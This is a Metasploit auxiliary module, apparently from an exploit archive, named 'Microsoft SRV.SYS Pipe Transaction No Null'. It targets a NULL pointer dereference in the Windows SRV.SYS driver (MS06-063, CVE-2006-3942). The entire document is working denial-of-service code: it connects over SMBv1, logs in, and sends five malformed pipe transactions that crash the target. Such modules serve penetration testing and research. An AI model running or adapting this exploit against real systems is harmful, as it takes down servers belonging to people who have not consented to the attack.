Microsoft SRV.SYS Pipe Transaction No Null

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SMB::Client  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SRV.SYS Pipe Transaction No Null',  
'Description' => %q{  
This module exploits a NULL pointer dereference flaw in the  
SRV.SYS driver of the Windows operating system. This bug was  
independently discovered by CORE Security and ISS.  
},  
  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['OSVDB', '27644' ],  
['MSB', 'MS06-063' ],  
['CVE', '2006-3942'],  
['BID', '19215'],  
]  
))  
  
deregister_options('SMB::ProtocolVersion')  
end  
  
def run  
  
print_status("Connecting to the target system...");  
  
connect(versions: [1])  
smb_login  
  
begin  
1.upto(5) do |i|  
print_status("Sending bad SMB transaction request #{i}...");  
self.simple.client.trans_nonull(  
"\\#{Rex::Text.rand_text_alphanumeric(rand(16)+1)}",  
'',  
Rex::Text.rand_text_alphanumeric(rand(16)+1),  
3,  
[1,0,1].pack('vvv'),  
true  
)  
end  
rescue ::Interrupt  
return  
  
rescue ::Exception => e  
print_error("Error: #{e.class} > #{e}")  
end  
  
  
disconnect  
end  
end  
`